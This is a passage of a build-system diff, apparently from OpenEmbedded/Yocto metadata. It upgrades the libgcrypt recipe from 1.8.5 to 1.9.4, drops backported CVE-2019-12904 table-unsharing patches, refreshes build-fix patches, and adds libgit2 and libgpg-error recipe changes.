- /* Prefetching for encryption/decryption tables. */
--static void prefetch_table(const volatile byte *tab, size_t len)
-+static inline void prefetch_table(const volatile byte *tab, size_t len)
- {
- size_t i;
-
-- for (i = 0; i < len; i += 8 * 32)
-+ for (i = 0; len - i >= 8 * 32; i += 8 * 32)
- {
- (void)tab[i + 0 * 32];
- (void)tab[i + 1 * 32];
-@@ -242,17 +242,37 @@ static void prefetch_table(const volatile byte *tab, size_t len)
- (void)tab[i + 6 * 32];
- (void)tab[i + 7 * 32];
- }
-+ for (; i < len; i += 32)
-+ {
-+ (void)tab[i];
-+ }
-
- (void)tab[len - 1];
- }
-
- static void prefetch_enc(void)
- {
-- prefetch_table((const void *)encT, sizeof(encT));
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ enc_tables.counter_head++;
-+ enc_tables.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
-+ prefetch_table((const void *)&enc_tables, sizeof(enc_tables));
- }
-
- static void prefetch_dec(void)
- {
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ dec_tables.counter_head++;
-+ dec_tables.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
- prefetch_table((const void *)&dec_tables, sizeof(dec_tables));
- }
-
-@@ -737,7 +757,7 @@ do_encrypt (const RIJNDAEL_context *ctx,
- #ifdef USE_AMD64_ASM
- # ifdef HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS
- return _gcry_aes_amd64_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds,
-- encT);
-+ enc_tables.T);
- # else
- /* Call SystemV ABI function without storing non-volatile XMM registers,
- * as target function does not use vector instruction sets. */
-@@ -757,7 +777,8 @@ do_encrypt (const RIJNDAEL_context *ctx,
- return ret;
- # endif /* HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS */
- #elif defined(USE_ARM_ASM)
-- return _gcry_aes_arm_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds, encT);
-+ return _gcry_aes_arm_encrypt_block(ctx->keyschenc, bx, ax, ctx->rounds,
-+ enc_tables.T);
- #else
- return do_encrypt_fn (ctx, bx, ax);
- #endif /* !USE_ARM_ASM && !USE_AMD64_ASM*/
-@@ -1120,7 +1141,7 @@ do_decrypt (const RIJNDAEL_context *ctx, unsigned char *bx,
- #ifdef USE_AMD64_ASM
- # ifdef HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS
- return _gcry_aes_amd64_decrypt_block(ctx->keyschdec, bx, ax, ctx->rounds,
-- &dec_tables);
-+ dec_tables.T);
- # else
- /* Call SystemV ABI function without storing non-volatile XMM registers,
- * as target function does not use vector instruction sets. */
-@@ -1141,7 +1162,7 @@ do_decrypt (const RIJNDAEL_context *ctx, unsigned char *bx,
- # endif /* HAVE_COMPATIBLE_GCC_AMD64_PLATFORM_AS */
- #elif defined(USE_ARM_ASM)
- return _gcry_aes_arm_decrypt_block(ctx->keyschdec, bx, ax, ctx->rounds,
-- &dec_tables);
-+ dec_tables.T);
- #else
- return do_decrypt_fn (ctx, bx, ax);
- #endif /*!USE_ARM_ASM && !USE_AMD64_ASM*/
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch b/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
index d7554f38af..f9c362431c 100644
--- a/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
+++ b/meta/recipes-support/libgcrypt/files/0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch
@@ -1,7 +1,7 @@
-From 97570ef271ea1fb7b5ca903eec88f68407b0ec76 Mon Sep 17 00:00:00 2001
+From 3c6c10eae0993c8ca60879494c6650f7b8f54ebe Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Wed, 16 Aug 2017 10:44:41 +0800
-Subject: [PATCH 2/4] libgcrypt: fix building error with '-O2' in sysroot path
+Subject: [PATCH] libgcrypt: fix building error with '-O2' in sysroot path
Upstream-Status: Pending
@@ -19,23 +19,21 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
Rebase to 1.8.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
cipher/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/cipher/Makefile.am b/cipher/Makefile.am
-index 95c4510..bd52ec7 100644
+index d644005..1cf5072 100644
--- a/cipher/Makefile.am
+++ b/cipher/Makefile.am
-@@ -116,7 +116,7 @@ gost-s-box: gost-s-box.c
+@@ -147,7 +147,7 @@ gost-s-box: gost-s-box.c
if ENABLE_O_FLAG_MUNGING
--o_flag_munging = sed -e 's/-O\([2-9s][2-9s]*\)/-O1/' -e 's/-Ofast/-O1/g'
-+o_flag_munging = sed -e 's/ -O\([2-9s][2-9s]*\) / -O1 /' -e 's/ -Ofast / -O1 /g'
+-o_flag_munging = sed -e 's/-O\([2-9sg][2-9sg]*\)/-O1/' -e 's/-Ofast/-O1/g'
++o_flag_munging = sed -e 's/ -O\([2-9sg][2-9sg]*\) / -O1 /' -e 's/ -Ofast / -O1 /g'
else
o_flag_munging = cat
endif
---
-1.8.3.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch b/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch
deleted file mode 100644
index b580b7b13c..0000000000
--- a/meta/recipes-support/libgcrypt/files/0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch
+++ /dev/null
@@ -1,178 +0,0 @@
-From a4c561aab1014c3630bc88faf6f5246fee16b020 Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Fri, 31 May 2019 17:27:25 +0300
-Subject: [PATCH 3/3] GCM: move look-up table to .data section and unshare
- between processes
-
-* cipher/cipher-gcm.c (ATTR_ALIGNED_64): New.
-(gcmR): Move to 'gcm_table' structure.
-(gcm_table): New structure for look-up table with counters before and
-after.
-(gcmR): New macro.
-(prefetch_table): Handle input with length not multiple of 256.
-(do_prefetch_tables): Modify pre- and post-table counters to unshare
-look-up table pages between processes.
---
-
-GnuPG-bug-id: 4541
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/a4c561aab1014c3630bc88faf6f5246fee16b020]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/cipher-gcm.c | 106 ++++++++++++++++++++++++++++++++++------------------
- 1 file changed, 70 insertions(+), 36 deletions(-)
-
-diff --git a/cipher/cipher-gcm.c b/cipher/cipher-gcm.c
-index 11f119a..194e2ec 100644
---- a/cipher/cipher-gcm.c
-+++ b/cipher/cipher-gcm.c
-@@ -30,6 +30,14 @@
- #include "./cipher-internal.h"
-
-
-+/* Helper macro to force alignment to 16 or 64 bytes. */
-+#ifdef HAVE_GCC_ATTRIBUTE_ALIGNED
-+# define ATTR_ALIGNED_64 __attribute__ ((aligned (64)))
-+#else
-+# define ATTR_ALIGNED_64
-+#endif
-+
-+
- #ifdef GCM_USE_INTEL_PCLMUL
- extern void _gcry_ghash_setup_intel_pclmul (gcry_cipher_hd_t c);
-
-@@ -83,40 +91,54 @@ ghash_armv7_neon (gcry_cipher_hd_t c, byte *result, const byte *buf,
-
-
- #ifdef GCM_USE_TABLES
--static const u16 gcmR[256] = {
-- 0x0000, 0x01c2, 0x0384, 0x0246, 0x0708, 0x06ca, 0x048c, 0x054e,
-- 0x0e10, 0x0fd2, 0x0d94, 0x0c56, 0x0918, 0x08da, 0x0a9c, 0x0b5e,
-- 0x1c20, 0x1de2, 0x1fa4, 0x1e66, 0x1b28, 0x1aea, 0x18ac, 0x196e,
-- 0x1230, 0x13f2, 0x11b4, 0x1076, 0x1538, 0x14fa, 0x16bc, 0x177e,
-- 0x3840, 0x3982, 0x3bc4, 0x3a06, 0x3f48, 0x3e8a, 0x3ccc, 0x3d0e,
-- 0x3650, 0x3792, 0x35d4, 0x3416, 0x3158, 0x309a, 0x32dc, 0x331e,
-- 0x2460, 0x25a2, 0x27e4, 0x2626, 0x2368, 0x22aa, 0x20ec, 0x212e,
-- 0x2a70, 0x2bb2, 0x29f4, 0x2836, 0x2d78, 0x2cba, 0x2efc, 0x2f3e,
-- 0x7080, 0x7142, 0x7304, 0x72c6, 0x7788, 0x764a, 0x740c, 0x75ce,
-- 0x7e90, 0x7f52, 0x7d14, 0x7cd6, 0x7998, 0x785a, 0x7a1c, 0x7bde,
-- 0x6ca0, 0x6d62, 0x6f24, 0x6ee6, 0x6ba8, 0x6a6a, 0x682c, 0x69ee,
-- 0x62b0, 0x6372, 0x6134, 0x60f6, 0x65b8, 0x647a, 0x663c, 0x67fe,
-- 0x48c0, 0x4902, 0x4b44, 0x4a86, 0x4fc8, 0x4e0a, 0x4c4c, 0x4d8e,
-- 0x46d0, 0x4712, 0x4554, 0x4496, 0x41d8, 0x401a, 0x425c, 0x439e,
-- 0x54e0, 0x5522, 0x5764, 0x56a6, 0x53e8, 0x522a, 0x506c, 0x51ae,
-- 0x5af0, 0x5b32, 0x5974, 0x58b6, 0x5df8, 0x5c3a, 0x5e7c, 0x5fbe,
-- 0xe100, 0xe0c2, 0xe284, 0xe346, 0xe608, 0xe7ca, 0xe58c, 0xe44e,
-- 0xef10, 0xeed2, 0xec94, 0xed56, 0xe818, 0xe9da, 0xeb9c, 0xea5e,
-- 0xfd20, 0xfce2, 0xfea4, 0xff66, 0xfa28, 0xfbea, 0xf9ac, 0xf86e,
-- 0xf330, 0xf2f2, 0xf0b4, 0xf176, 0xf438, 0xf5fa, 0xf7bc, 0xf67e,
-- 0xd940, 0xd882, 0xdac4, 0xdb06, 0xde48, 0xdf8a, 0xddcc, 0xdc0e,
-- 0xd750, 0xd692, 0xd4d4, 0xd516, 0xd058, 0xd19a, 0xd3dc, 0xd21e,
-- 0xc560, 0xc4a2, 0xc6e4, 0xc726, 0xc268, 0xc3aa, 0xc1ec, 0xc02e,
-- 0xcb70, 0xcab2, 0xc8f4, 0xc936, 0xcc78, 0xcdba, 0xcffc, 0xce3e,
-- 0x9180, 0x9042, 0x9204, 0x93c6, 0x9688, 0x974a, 0x950c, 0x94ce,
-- 0x9f90, 0x9e52, 0x9c14, 0x9dd6, 0x9898, 0x995a, 0x9b1c, 0x9ade,
-- 0x8da0, 0x8c62, 0x8e24, 0x8fe6, 0x8aa8, 0x8b6a, 0x892c, 0x88ee,
-- 0x83b0, 0x8272, 0x8034, 0x81f6, 0x84b8, 0x857a, 0x873c, 0x86fe,
-- 0xa9c0, 0xa802, 0xaa44, 0xab86, 0xaec8, 0xaf0a, 0xad4c, 0xac8e,
-- 0xa7d0, 0xa612, 0xa454, 0xa596, 0xa0d8, 0xa11a, 0xa35c, 0xa29e,
-- 0xb5e0, 0xb422, 0xb664, 0xb7a6, 0xb2e8, 0xb32a, 0xb16c, 0xb0ae,
-- 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
--};
-+static struct
-+{
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
-+ u16 R[256];
-+ volatile u32 counter_tail;
-+} gcm_table ATTR_ALIGNED_64 =
-+ {
-+ 0,
-+ { 0, },
-+ {
-+ 0x0000, 0x01c2, 0x0384, 0x0246, 0x0708, 0x06ca, 0x048c, 0x054e,
-+ 0x0e10, 0x0fd2, 0x0d94, 0x0c56, 0x0918, 0x08da, 0x0a9c, 0x0b5e,
-+ 0x1c20, 0x1de2, 0x1fa4, 0x1e66, 0x1b28, 0x1aea, 0x18ac, 0x196e,
-+ 0x1230, 0x13f2, 0x11b4, 0x1076, 0x1538, 0x14fa, 0x16bc, 0x177e,
-+ 0x3840, 0x3982, 0x3bc4, 0x3a06, 0x3f48, 0x3e8a, 0x3ccc, 0x3d0e,
-+ 0x3650, 0x3792, 0x35d4, 0x3416, 0x3158, 0x309a, 0x32dc, 0x331e,
-+ 0x2460, 0x25a2, 0x27e4, 0x2626, 0x2368, 0x22aa, 0x20ec, 0x212e,
-+ 0x2a70, 0x2bb2, 0x29f4, 0x2836, 0x2d78, 0x2cba, 0x2efc, 0x2f3e,
-+ 0x7080, 0x7142, 0x7304, 0x72c6, 0x7788, 0x764a, 0x740c, 0x75ce,
-+ 0x7e90, 0x7f52, 0x7d14, 0x7cd6, 0x7998, 0x785a, 0x7a1c, 0x7bde,
-+ 0x6ca0, 0x6d62, 0x6f24, 0x6ee6, 0x6ba8, 0x6a6a, 0x682c, 0x69ee,
-+ 0x62b0, 0x6372, 0x6134, 0x60f6, 0x65b8, 0x647a, 0x663c, 0x67fe,
-+ 0x48c0, 0x4902, 0x4b44, 0x4a86, 0x4fc8, 0x4e0a, 0x4c4c, 0x4d8e,
-+ 0x46d0, 0x4712, 0x4554, 0x4496, 0x41d8, 0x401a, 0x425c, 0x439e,
-+ 0x54e0, 0x5522, 0x5764, 0x56a6, 0x53e8, 0x522a, 0x506c, 0x51ae,
-+ 0x5af0, 0x5b32, 0x5974, 0x58b6, 0x5df8, 0x5c3a, 0x5e7c, 0x5fbe,
-+ 0xe100, 0xe0c2, 0xe284, 0xe346, 0xe608, 0xe7ca, 0xe58c, 0xe44e,
-+ 0xef10, 0xeed2, 0xec94, 0xed56, 0xe818, 0xe9da, 0xeb9c, 0xea5e,
-+ 0xfd20, 0xfce2, 0xfea4, 0xff66, 0xfa28, 0xfbea, 0xf9ac, 0xf86e,
-+ 0xf330, 0xf2f2, 0xf0b4, 0xf176, 0xf438, 0xf5fa, 0xf7bc, 0xf67e,
-+ 0xd940, 0xd882, 0xdac4, 0xdb06, 0xde48, 0xdf8a, 0xddcc, 0xdc0e,
-+ 0xd750, 0xd692, 0xd4d4, 0xd516, 0xd058, 0xd19a, 0xd3dc, 0xd21e,
-+ 0xc560, 0xc4a2, 0xc6e4, 0xc726, 0xc268, 0xc3aa, 0xc1ec, 0xc02e,
-+ 0xcb70, 0xcab2, 0xc8f4, 0xc936, 0xcc78, 0xcdba, 0xcffc, 0xce3e,
-+ 0x9180, 0x9042, 0x9204, 0x93c6, 0x9688, 0x974a, 0x950c, 0x94ce,
-+ 0x9f90, 0x9e52, 0x9c14, 0x9dd6, 0x9898, 0x995a, 0x9b1c, 0x9ade,
-+ 0x8da0, 0x8c62, 0x8e24, 0x8fe6, 0x8aa8, 0x8b6a, 0x892c, 0x88ee,
-+ 0x83b0, 0x8272, 0x8034, 0x81f6, 0x84b8, 0x857a, 0x873c, 0x86fe,
-+ 0xa9c0, 0xa802, 0xaa44, 0xab86, 0xaec8, 0xaf0a, 0xad4c, 0xac8e,
-+ 0xa7d0, 0xa612, 0xa454, 0xa596, 0xa0d8, 0xa11a, 0xa35c, 0xa29e,
-+ 0xb5e0, 0xb422, 0xb664, 0xb7a6, 0xb2e8, 0xb32a, 0xb16c, 0xb0ae,
-+ 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
-+ },
-+ 0
-+ };
-+
-+#define gcmR gcm_table.R
-
- static inline
- void prefetch_table(const void *tab, size_t len)
-@@ -124,7 +146,7 @@ void prefetch_table(const void *tab, size_t len)
- const volatile byte *vtab = tab;
- size_t i;
-
-- for (i = 0; i < len; i += 8 * 32)
-+ for (i = 0; len - i >= 8 * 32; i += 8 * 32)
- {
- (void)vtab[i + 0 * 32];
- (void)vtab[i + 1 * 32];
-@@ -135,6 +157,10 @@ void prefetch_table(const void *tab, size_t len)
- (void)vtab[i + 6 * 32];
- (void)vtab[i + 7 * 32];
- }
-+ for (; i < len; i += 32)
-+ {
-+ (void)vtab[i];
-+ }
-
- (void)vtab[len - 1];
- }
-@@ -142,8 +168,16 @@ void prefetch_table(const void *tab, size_t len)
- static inline void
- do_prefetch_tables (const void *gcmM, size_t gcmM_size)
- {
-+ /* Modify counters to trigger copy-on-write and unsharing if physical pages
-+ * of look-up table are shared between processes. Modifying counters also
-+ * causes checksums for pages to change and hint same-page merging algorithm
-+ * that these pages are frequently changing. */
-+ gcm_table.counter_head++;
-+ gcm_table.counter_tail++;
-+
-+ /* Prefetch look-up tables to cache. */
- prefetch_table(gcmM, gcmM_size);
-- prefetch_table(gcmR, sizeof(gcmR));
-+ prefetch_table(&gcm_table, sizeof(gcm_table));
- }
-
- #ifdef GCM_TABLES_USE_U64
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch b/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
index 8622df3ea8..5bf0c7f8a3 100644
--- a/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
+++ b/meta/recipes-support/libgcrypt/files/0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch
@@ -1,7 +1,7 @@
-From e20dbdb0b8f0af840ef90b299c4e2277c52ddf87 Mon Sep 17 00:00:00 2001
+From cb06d218ee36e303a64f27c690f30040d5d87960 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Sun, 12 Jun 2016 04:44:29 -0400
-Subject: [PATCH 4/4] tests/Makefile.am: fix undefined reference to
+Subject: [PATCH] tests/Makefile.am: fix undefined reference to
`pthread_create'
Add missing '-lpthread' to CFLAGS
@@ -9,20 +9,21 @@ Add missing '-lpthread' to CFLAGS
Upstream-Status: Pending
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
tests/Makefile.am | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 1744ea7..04cf425 100644
+index ab201f0..1cf82d0 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -64,4 +64,4 @@ EXTRA_DIST = README rsa-16k.key cavs_tests.sh cavs_driver.pl \
-
- LDADD = $(standard_ldadd) $(GPG_ERROR_LIBS)
- t_lock_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS)
+@@ -75,7 +75,7 @@ t_mpi_bit_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ t_secmem_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ testapi_LDADD = $(standard_ldadd) @LDADD_FOR_TESTS_KLUDGE@
+ t_lock_LDADD = $(standard_ldadd) $(GPG_ERROR_MT_LIBS) @LDADD_FOR_TESTS_KLUDGE@
-t_lock_CFLAGS = $(GPG_ERROR_MT_CFLAGS)
+t_lock_CFLAGS = $(GPG_ERROR_MT_CFLAGS) -lpthread
---
-1.8.3.1
-
+ testdrv_LDADD = $(LDADD_FOR_TESTS_KLUDGE)
+
+ # Build a version of the test driver for the build platform.
diff --git a/meta/recipes-support/libgcrypt/libgcrypt_1.8.5.bb b/meta/recipes-support/libgcrypt/libgcrypt_1.8.5.bb
deleted file mode 100644
index 04785574f2..0000000000
--- a/meta/recipes-support/libgcrypt/libgcrypt_1.8.5.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "General purpose cryptographic library based on the code from GnuPG"
-HOMEPAGE = "http://directory.fsf.org/project/libgcrypt/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-SECTION = "libs"
-
-# helper program gcryptrnd and getrandom are under GPL, rest LGPL
-LICENSE = "GPLv2+ & LGPLv2.1+ & GPLv3+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-dev = "GPLv2+ & LGPLv2.1+"
-LICENSE_dumpsexp-dev = "GPLv3+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYING.LIB;md5=bbb461211a33b134d42ed5ee802b37ff \
- file://LICENSES;md5=840e3bcb754e5046ffeda7619034cbd8"
-
-DEPENDS = "libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libgcrypt/libgcrypt-${PV}.tar.bz2 \
- file://0001-libgcrypt-fix-m4-file-for-oe-core.patch \
- file://0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch \
- file://0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch \
- file://0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch \
- file://0001-Prefetch-GCM-look-up-tables.patch \
- file://0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch \
- file://0003-GCM-move-look-up-table-to-.data-section-and-unshare-.patch \
-"
-SRC_URI[md5sum] = "348cc4601ca34307fc6cd6c945467743"
-SRC_URI[sha256sum] = "3b4a2a94cb637eff5bdebbcaf46f4d95c4f25206f459809339cdada0eb577ac3"
-
-BINCONFIG = "${bindir}/libgcrypt-config"
-
-inherit autotools texinfo binconfig-disabled pkgconfig
-
-EXTRA_OECONF = "--disable-asm"
-EXTRA_OEMAKE_class-target = "LIBTOOLFLAGS='--tag=CC'"
-
-PACKAGECONFIG ??= "capabilities"
-PACKAGECONFIG[capabilities] = "--with-capabilities,--without-capabilities,libcap"
-
-do_configure_prepend () {
- # Else this could be used in preference to the one in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
-}
-
-# libgcrypt.pc is added locally and thus installed here
-do_install_append() {
- install -d ${D}/${libdir}/pkgconfig
- install -m 0644 ${B}/src/libgcrypt.pc ${D}/${libdir}/pkgconfig/
-}
-
-PACKAGES =+ "dumpsexp-dev"
-
-FILES_${PN}-dev += "${bindir}/hmac256"
-FILES_dumpsexp-dev += "${bindir}/dumpsexp"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb b/meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb
new file mode 100644
index 0000000000..866f3932f6
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/libgcrypt_1.9.4.bb
@@ -0,0 +1,61 @@
+SUMMARY = "General purpose cryptographic library based on the code from GnuPG"
+DESCRIPTION = "A cryptography library developed as a separated module of GnuPG. \
+It can also be used independently of GnuPG, but depends on its error-reporting \
+library Libgpg-error."
+HOMEPAGE = "http://directory.fsf.org/project/libgcrypt/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+SECTION = "libs"
+
+# helper program gcryptrnd and getrandom are under GPL, rest LGPL
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later & GPL-3.0-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-dev = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:dumpsexp-dev = "GPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
+ file://COPYING.LIB;md5=bbb461211a33b134d42ed5ee802b37ff \
+ file://LICENSES;md5=42fa35a25e138166cc40588387f9159d \
+ "
+
+DEPENDS = "libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libgcrypt/libgcrypt-${PV}.tar.bz2 \
+ file://0001-libgcrypt-fix-m4-file-for-oe-core.patch \
+ file://0003-tests-bench-slope.c-workaround-ICE-failure-on-mips-w.patch \
+ file://0002-libgcrypt-fix-building-error-with-O2-in-sysroot-path.patch \
+ file://0004-tests-Makefile.am-fix-undefined-reference-to-pthread.patch \
+ file://0001-Makefile.am-add-a-missing-space.patch \
+ "
+SRC_URI[sha256sum] = "ea849c83a72454e3ed4267697e8ca03390aee972ab421e7df69dfe42b65caaf7"
+
+# Below whitelisted CVEs are disputed and not affecting crypto libraries for any distro.
+CVE_CHECK_IGNORE += "CVE-2018-12433 CVE-2018-12438"
+
+BINCONFIG = "${bindir}/libgcrypt-config"
+
+inherit autotools texinfo binconfig-disabled pkgconfig
+
+EXTRA_OECONF = "--disable-asm"
+EXTRA_OEMAKE:class-target = "LIBTOOLFLAGS='--tag=CC'"
+
+PACKAGECONFIG ??= "capabilities"
+PACKAGECONFIG[capabilities] = "--with-capabilities,--without-capabilities,libcap"
+
+do_configure:prepend () {
+ # Else this could be used in preference to the one in aclocal-copy
+ rm -f ${S}/m4/gpg-error.m4
+}
+
+# libgcrypt.pc is added locally and thus installed here
+do_install:append() {
+ install -d ${D}/${libdir}/pkgconfig
+ install -m 0644 ${B}/src/libgcrypt.pc ${D}/${libdir}/pkgconfig/
+}
+
+PACKAGES =+ "dumpsexp-dev"
+
+FILES:${PN}-dev += "${bindir}/hmac256"
+FILES:dumpsexp-dev += "${bindir}/dumpsexp"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libgit2/libgit2_1.4.2.bb b/meta/recipes-support/libgit2/libgit2_1.4.2.bb
new file mode 100644
index 0000000000..88bf5a8520
--- /dev/null
+++ b/meta/recipes-support/libgit2/libgit2_1.4.2.bb
@@ -0,0 +1,22 @@
+SUMMARY = "the Git linkable library"
+HOMEPAGE = "http://libgit2.github.com/"
+LICENSE = "GPL-2.0-with-GCC-exception & MIT & OpenSSL"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e5a9227de4cb6afb5d35ed7b0fdf480d"
+
+DEPENDS = "curl openssl zlib libssh2 libgcrypt libpcre2"
+
+SRC_URI = "git://github.com/libgit2/libgit2.git;branch=maint/v1.4;protocol=https"
+SRCREV = "182d0d1ee933de46bf0b5a6ec269bafa77aba9a2"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+EXTRA_OECMAKE = "\
+ -DBUILD_CLAR=OFF \
+ -DCMAKE_BUILD_TYPE=RelWithDebInfo \
+ -DLIB_INSTALL_DIR=${libdir} \
+ -DREGEX_BACKEND='pcre2' \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch b/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch
new file mode 100644
index 0000000000..a0ab4f23ff
--- /dev/null
+++ b/meta/recipes-support/libgpg-error/libgpg-error/0001-Do-not-fail-when-testing-config-scripts.patch
@@ -0,0 +1,27 @@
+From 137805890951b6b585c1d23097e0a51e8c7a8a50 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 28 Feb 2020 09:19:56 +0000
+Subject: [PATCH] Do not fail when testing config scripts
+
+In previous versions this was not a hard a failure, and so went
+unnoticed. The test is unsuitable for building with sysroots anyway as the
+failure is due to that.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ src/Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/src/Makefile.am b/src/Makefile.am
+index 9303954..7630540 100644
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -344,7 +344,6 @@ gpg-error-config: gpgrt-config gpg-error-config-old
+ else \
+ echo "no"; \
+ echo "*** Please report to <https://bugs.gnupg.org> with gpg-error-config-test.log"; \
+- exit 1; \
+ fi
+ cp gpg-error-config-old $@
+
diff --git a/meta/recipes-support/libgpg-error/libgpg-error/libgpg-error-1.36-gawk5-support.patch b/meta/recipes-support/libgpg-error/libgpg-error/libgpg-error-1.36-gawk5-support.patch
deleted file mode 100644
index b936d1143b..0000000000
--- a/meta/recipes-support/libgpg-error/libgpg-error/libgpg-error-1.36-gawk5-support.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-Upstream-Status: Backport [https://dev.gnupg.org/T4459]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-From 7865041c77f4f7005282f10f9b6666b19072fbdf Mon Sep 17 00:00:00 2001
-From: NIIBE Yutaka <gniibe@fsij.org>
-Date: Mon, 15 Apr 2019 15:10:44 +0900
-Subject: [PATCH] awk: Prepare for Gawk 5.0.
-
-* src/Makefile.am: Use pkg_namespace (instead of namespace).
-* src/mkerrnos.awk: Likewise.
-* lang/cl/mkerrcodes.awk: Don't escape # in regexp.
-* src/mkerrcodes.awk, src/mkerrcodes1.awk, src/mkerrcodes2.awk: Ditto.
-
---
-
-In Gawk 5.0, regexp routines are replaced by Gnulib implementation,
-which only allows escaping specific characters.
-
-GnuPG-bug-id: 4459
-Reported-by: Marius Schamschula
-Signed-off-by: NIIBE Yutaka <gniibe@fsij.org>
----
- lang/cl/mkerrcodes.awk | 2 +-
- src/Makefile.am | 2 +-
- src/mkerrcodes.awk | 2 +-
- src/mkerrcodes1.awk | 2 +-
- src/mkerrcodes2.awk | 2 +-
- src/mkerrnos.awk | 2 +-
- src/mkstrtable.awk | 10 +++++-----
- 7 files changed, 11 insertions(+), 11 deletions(-)
-
---- a/lang/cl/mkerrcodes.awk
-+++ b/lang/cl/mkerrcodes.awk
-@@ -122,7 +122,7 @@ header {
- }
-
- !header {
-- sub (/\#.+/, "");
-+ sub (/#.+/, "");
- sub (/[ ]+$/, ""); # Strip trailing space and tab characters.
-
- if (/^$/)
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -293,7 +293,7 @@ code-from-errno.h: mkerrcodes$(EXEEXT_FO
-
- errnos-sym.h: Makefile mkstrtable.awk errnos.in
